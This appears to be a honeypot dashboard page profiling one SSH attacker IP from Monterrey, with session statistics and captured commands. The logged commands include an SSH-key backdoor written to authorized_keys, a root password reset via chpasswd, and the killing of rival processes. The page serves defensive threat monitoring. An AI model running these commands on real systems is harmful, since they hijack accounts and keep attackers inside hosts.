← Back to feed
Location
🇲🇽 MX / Monterrey
ASN
AS8151 · UNINET
Cloud Provider
—
Total Events
452
Top 10% by volume
Agent Count
1
First / Last Seen
2026-06-03 22:32 — 2026-06-03 23:32
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Not flagged by any external feeds
Session Forensics
Sessions
50 (24 with login)
Avg Depth Score
0.46
Commands Executed
55
Files Downloaded
13
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:MI5XTWz90CKH"|chpasswd|bash
- rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
- cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
- free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
- ls -lh $(which ls)
- which ls
Fingerprints
HASSH
SSH Client
Evidence Timeline
Malware Dropper
ec5413b2fe28
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
df8a7dd3f914
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
496ecf7255b1
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
aa7d9a4639d1
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
8c218c7d112e
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
eb34371b5f67
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
4587177eb76d
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
db63dff97872
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
12e830a80403
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
2a1f412fefbf
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
43a52ab789c0
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
363cf9134bb4
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
81c778f46e4e
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
85ac63e6cfae
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
5ed760a556ee
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
540662a32c8f
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
0ae8ba1dc14d
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Reconnaissance
41ed7706743d
LOGIN
2
1
60%
Loading events...
Malware Dropper
13233a3f59f4
LOGIN
20
2
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:MI5XTWz90CKH"|chpasswd|bash
Malware Dropper
81f75f560f45
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
40dff6f78788
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
0ca03244eaf9
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
27a1f4268b2c
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
b504b46b49e4
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…